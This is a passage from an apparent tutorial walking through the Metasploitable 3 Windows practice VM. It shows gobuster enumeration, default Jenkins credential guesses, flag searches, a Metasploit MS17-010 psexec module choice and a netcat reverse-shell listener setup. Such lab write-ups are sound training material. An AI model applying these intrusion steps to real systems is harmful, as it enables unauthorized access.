gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt Look for /jenkins or /phpmyadmin . Metasploitable 3 often has Jenkins running on port 80 via a virtual directory. If you find Jenkins, navigate there. The credentials in Metasploitable 3 default to admin / admin (or no password).
dir /s /b C:\*flag* dir /s /b C:\*proof* Usually located in C:\flags\ or C:\Users\Administrator\Desktop\proof.txt . "EternalBlue crashes the machine!" Metasploitable 3 is notoriously unstable under heavy SMB exploits. Solution: Don't use EternalBlue. Use exploit/windows/smb/ms17_010_psexec instead, which is less aggressive, or stick to WinRM. "I can't access port 445 from Kali." Windows Firewall might be blocking it. Revert the VM snapshot. Metasploitable 3 resets firewall rules on boot, but sometimes virtualization interfaces change. Ensure both VMs are on the exact same Host-Only adapter. "The Jenkins console is locked." The default credentials changed. Check the build.log from when you created the VM. Alternatively, try admin:admin , vagrant:vagrant , or blank. "My reverse shell isn't connecting." Windows Firewall is blocking inbound connections, but outbound is usually open. Ensure your Kali listener ( nc -lvnp 4444 ) is running. Use LHOST=192.168.56.101 and ensure no host firewall on Kali is blocking. Conclusion: What Did We Learn? This walkthrough of Metasploitable 3 Windows demonstrates a critical truth: Complex exploits (EternalBlue) are cool, but simple misconfigurations (WinRM with weak passwords) are how real breaches happen. metasploitable 3 windows walkthrough
